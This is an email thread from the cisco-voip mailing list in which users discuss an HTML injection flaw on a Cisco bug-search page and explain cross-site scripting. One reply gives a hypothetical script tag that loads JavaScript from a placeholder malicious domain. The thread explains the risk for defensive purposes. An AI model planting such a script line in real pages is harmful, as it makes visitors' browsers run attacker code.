<div dir="ltr">Basically someone typed in some HTML code into the bug description, and when my browser received/rendered the page content, my browser saw this code as code it needed to execute, hence the <textarea> text box was rendered as opposed to the text "<textarea>" just being shown on the page (like how it is in the title.<div><br></div><div>Now, while this page is not doing anything harmful at the moment, it's not impossible for the code to have been:</div><div><br></div><div><script><a href="https://myharmfulwebsite.com/code-you-dont-want.js">https://myharmfulwebsite.com/code-you-dont-want.js</a></script></div><div><br></div><div>Then my browser would have downloaded and executed that.</div><div><br></div><div>I'm no hacker, but I know this can't be good.</div><div><br></div><div>Also, if nothing else, it ruins the value of the bug itself, because people like you don't know what the hell it's trying to tell you. Know what I mean man?</div></div><br><div class="gmail_quote"><div dir="ltr" class="gmail_attr">On Tue, Aug 20, 2019 at 12:42 PM Lelio Fulgenzi <<a href="mailto:lelio@uoguelph.ca">lelio@uoguelph.ca</a>> wrote:<br></div><blockquote class="gmail_quote" style="margin:0px 0px 0px 0.8ex;border-left:1px solid rgb(204,204,204);padding-left:1ex">
<div lang="EN-US">
<div class="gmail-m_6521800902599189986WordSection1">
<p class="MsoNormal">Ok – for those of us less knowledgeable, how exactly is this “code injection” ?<u></u><u></u></p>
<p class="MsoNormal"><u></u> <u></u></p>
<p class="MsoNormal"><u></u> <u></u></p>
<p class="MsoNormal"><u></u> <u></u></p>
<p class="MsoNormal"><span style="font-family:Arial,sans-serif">---<u></u><u></u></span></p>
<p class="MsoNormal"><b><span style="font-family:Arial,sans-serif">Lelio Fulgenzi, B.A.</span></b><span style="font-family:Arial,sans-serif"> | Senior Analyst<u></u><u></u></span></p>
<p class="MsoNormal"><span style="font-family:Arial,sans-serif;color:rgb(51,51,51)">Computing and Communications Services</span><span style="font-family:Arial,sans-serif"> | University of Guelph<u></u><u></u></span></p>
<p class="MsoNormal"><span style="font-family:Arial,sans-serif">Room 037 Animal Science & Nutrition Bldg | 50 Stone Rd E | Guelph, ON | N1G 2W1<u></u><u></u></span></p>
<p class="MsoNormal"><span style="font-family:Arial,sans-serif">519-824-4120 Ext. 56354 |
<a href="mailto:lelio@uoguelph.ca" target="_blank"><span style="color:rgb(5,99,193)">lelio@uoguelph.ca</span></a><u></u><u></u></span></p>
<p class="MsoNormal"><span style="font-family:Arial,sans-serif"><u></u> <u></u></span></p>
<p class="MsoNormal"><a href="http://www.uoguelph.ca/ccs" target="_blank"><span style="font-family:Arial,sans-serif">www.uoguelph.ca/ccs</span></a><span style="font-family:Arial,sans-serif;color:rgb(31,73,125)"> | @UofGCCS on Instagram, Twitter and Facebook<u></u><u></u></span></p>
<p class="MsoNormal"><span style="font-family:Arial,sans-serif"><u></u> <u></u></span></p>
<p class="MsoNormal"><img border="0" width="187" height="100" style="width: 1.9479in; height: 1.0416in;" id="gmail-m_6521800902599189986Picture_x0020_1" src="cid:16cb02676554cff311" alt="University of Guelph Cornerstone with Improve Life tagline"><u></u><u></u></p>
<p class="MsoNormal"><u></u> <u></u></p>
<p class="MsoNormal"><b>From:</b> cisco-voip <<a href="mailto:cisco-voip-bounces@puck.nether.net" target="_blank">cisco-voip-bounces@puck.nether.net</a>>
<b>On Behalf Of </b>Anthony Holloway<br>
<b>Sent:</b> Tuesday, August 20, 2019 1:38 PM<br>
<b>To:</b> Norton, Mike <<a href="mailto:mikenorton@pwsd76.ab.ca" target="_blank">mikenorton@pwsd76.ab.ca</a>><br>
<b>Cc:</b> Cisco VoIP Group <<a href="mailto:cisco-voip@puck.nether.net" target="_blank">cisco-voip@puck.nether.net</a>><br>
<b>Subject:</b> Re: [cisco-voip] Bug Search Code Injection<u></u><u></u></p>
<p class="MsoNormal"><u></u> <u></u></p>
<div>
<p class="MsoNormal">Exactly. Like there might be a feature disabled for preventing code injection on the site as a whole, and not all code injection displays something like that. In fact, I'd wager an attack via code injection would go unnoticed by the user
all together.<u></u><u></u></p>
</div>
<p class="MsoNormal"><u></u> <u></u></p>
<div>
<div>
<p class="MsoNormal">On Tue, Aug 20, 2019 at 12:08 PM Norton, Mike <<a href="mailto:mikenorton@pwsd76.ab.ca" target="_blank">mikenorton@pwsd76.ab.ca</a>> wrote:<u></u><u></u></p>
</div>
<blockquote style="border-top:none;border-right:none;border-bottom:none;border-left:1pt solid rgb(204,204,204);padding:0in 0in 0in 6pt;margin-left:4.8pt;margin-right:0in">
<div>
<div>
<p class="MsoNormal" style="margin-bottom:12pt"><span lang="EN-CA" style="color:rgb(31,73,125)">Used to be that reading documentation articles about “null” – e.g. null routes, Null 0 interface, etc. – would give some rather, uh, “interesting”
results in the related community discussions box off to the side of the article. Agreed it is rather concerning. Basically every language has standard functions for properly sanitizing/escaping text so there is no excuse other than sloppiness... which makes
one wonder what else they are sloppy with.<br>
<br>
-mn</span><span lang="EN-CA"><u></u><u></u></span></p>
<p class="MsoNormal"><b>From:</b> cisco-voip <<a href="mailto:cisco-voip-bounces@puck.nether.net" target="_blank">cisco-voip-bounces@puck.nether.net</a>>
<b>On Behalf Of </b>Anthony Holloway<br>
<b>Sent:</b> August 20, 2019 8:35 AM<br>
<b>To:</b> Cisco VoIP Group <<a href="mailto:cisco-voip@puck.nether.net" target="_blank">cisco-voip@puck.nether.net</a>><br>
<b>Subject:</b> [cisco-voip] Bug Search Code Injection<span lang="EN-CA"><u></u><u></u></span></p>
<p class="MsoNormal"><span lang="EN-CA"> <u></u><u></u></span></p>
<div>
<p class="MsoNormal"><span lang="EN-CA">Looks like I stumbled across some code injection on the following defect page:<u></u><u></u></span></p>
<div>
<p class="MsoNormal"><span lang="EN-CA"> <u></u><u></u></span></p>
</div>
<div>
<p class="MsoNormal"><span lang="EN-CA"><a href="https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvq27976" target="_blank">https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvq27976</a> <u></u><u></u></span></p>
</div>
<div>
<p class="MsoNormal"><span lang="EN-CA"> <u></u><u></u></span></p>
</div>
<div>
<p class="MsoNormal"><span lang="EN-CA">It's innocent enough, but concerning that it's even possible. <u></u><u></u></span></p>
<div>
<p class="MsoNormal"><span lang="EN-CA"> <u></u><u></u></span></p>
</div>
<div>
<div>
<p class="MsoNormal"><span lang="EN-CA"><img border="0" width="542" height="220" style="width: 5.6458in; height: 2.2916in;" id="gmail-m_6521800902599189986gmail-m_5499078534444947941_x005f_x0000_i1025" src="cid:16cb02676555b16b22" alt="image.png"><u></u><u></u></span></p>
</div>
</div>
</div>
</div>
</div>
</div>
<p class="MsoNormal">_______________________________________________<br>
cisco-voip mailing list<br>
<a href="mailto:cisco-voip@puck.nether.net" target="_blank">cisco-voip@puck.nether.net</a><br>
<a href="https://puck.nether.net/mailman/listinfo/cisco-voip" target="_blank">https://puck.nether.net/mailman/listinfo/cisco-voip</a><u></u><u></u></p>
</blockquote>
</div>
</div>
</div>
</blockquote></div>